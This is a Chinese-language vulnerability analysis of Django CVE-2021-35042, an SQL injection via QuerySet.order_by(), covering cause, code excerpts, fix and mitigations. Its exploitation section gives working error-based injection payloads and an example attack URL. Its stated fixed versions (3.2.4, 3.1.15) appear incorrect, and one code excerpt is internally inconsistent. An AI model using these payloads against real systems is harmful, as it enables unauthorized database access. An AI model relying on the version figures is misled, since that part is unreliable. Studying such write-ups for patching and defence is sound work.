Django CVE-2021-35042 order_by SQL注入分析
字数 1212 2025-08-05 08:19:04
Django CVE-2021-35042 SQL注入漏洞分析与利用
漏洞概述
CVE-2021-35042是Django框架中的一个SQL注入漏洞,影响Django 3.2.4和3.1.15之前的版本。该漏洞源于QuerySet.order_by()方法对用户输入的处理不当,允许攻击者通过精心构造的输入绕过列名验证,导致潜在的SQL注入攻击。
漏洞原理
漏洞背景
Django的ORM通常对SQL注入有严格的防护措施,但在此漏洞中,order_by()方法对带表名的列查询(table.column)处理不当:
- 当查询字符串包含
.时,代码会发出弃用警告但继续处理 - 带表名的查询跳过了关键的
names_to_path列名验证 - 最终SQL拼接时未对列名部分进行充分过滤
关键代码分析
漏洞核心位于django/db/models/sql/query.py中的add_ordering函数:
def add_ordering(self, *ordering):
errors = []
for item in ordering:
if isinstance(item, str):
if '.' in item: # 带表名的查询
warnings.warn('Passing column raw column aliases...')
continue # 问题点:直接跳过后续验证
# 其他验证...
# 其他处理...
带表名的查询(table.column)会跳过names_to_path验证,而后续处理时:
# django/db/models/sql/compiler.py
if '.' in field:
table, col = col.split('.', 1)
order_by.append((
OrderBy(
RawSQL('%s.%s' % (self.quote_name_unless_alias(table), col), []),
descending=descending
), False))
这里self.quote_name_unless_alias只过滤了表名,未过滤列名部分,导致SQL注入。
漏洞利用
利用条件
- 使用受影响版本的Django(3.2.4/3.1.15之前)
- 存在使用
order_by()且参数可控的代码 - 数据库后端支持堆叠查询(如MySQL)
利用方法
基本Payload格式:
表名.列名);注入语句--
示例利用:
# 正常查询
Article.objects.order_by('app_article.name')
# 恶意查询
Article.objects.order_by('app_article.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23')
生成的SQL语句:
SELECT `app_article`.`id`, `app_article`.`name`
FROM `app_article`
ORDER BY (`app_article`.name);select updatexml(1, concat(0x7e,(select @@version)),1)#) ASC LIMIT 21
实际攻击示例
HTTP请求中的利用:
http://vulnerable-site/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select database())),1)%23
漏洞修复
Django通过以下方式修复了该漏洞:
- 在3.2.4和3.1.15版本中恢复了原有的正则验证
- 重新引入了严格的输入验证模式
修复代码:
ORDER_PATTERN = _lazy_re_compile(r'\?|[-+]?[.\w]+$')
# ...
if isinstance(item, str) and ORDER_PATTERN.match(item):
if '.' in item:
warnings.warn(...)
防护建议
- 升级到Django 3.2.4或3.1.15及以上版本
- 如果无法立即升级,应对所有
order_by参数进行严格过滤 - 使用Django的
RawSQL表达式明确处理特殊排序需求 - 遵循最小权限原则,数据库用户不应有高权限
参考链接
- Django安全公告: https://www.djangoproject.com/weblog/2021/jul/01/security-releases/
- 漏洞修复提交: https://github.com/django/django/commit/a34a5f724c5d5adb2109374ba3989ebb7b11f81f
- 测试环境: https://github.com/vulhub/vulhub/tree/master/django/CVE-2021-35042
总结
CVE-2021-35042展示了即使像Django这样成熟的框架也可能因为设计决策和兼容性考虑而引入安全漏洞。开发者应:
- 始终保持框架更新
- 谨慎处理所有用户输入
- 理解ORM背后的实际SQL生成逻辑
- 对弃用警告保持警惕,及时更新代码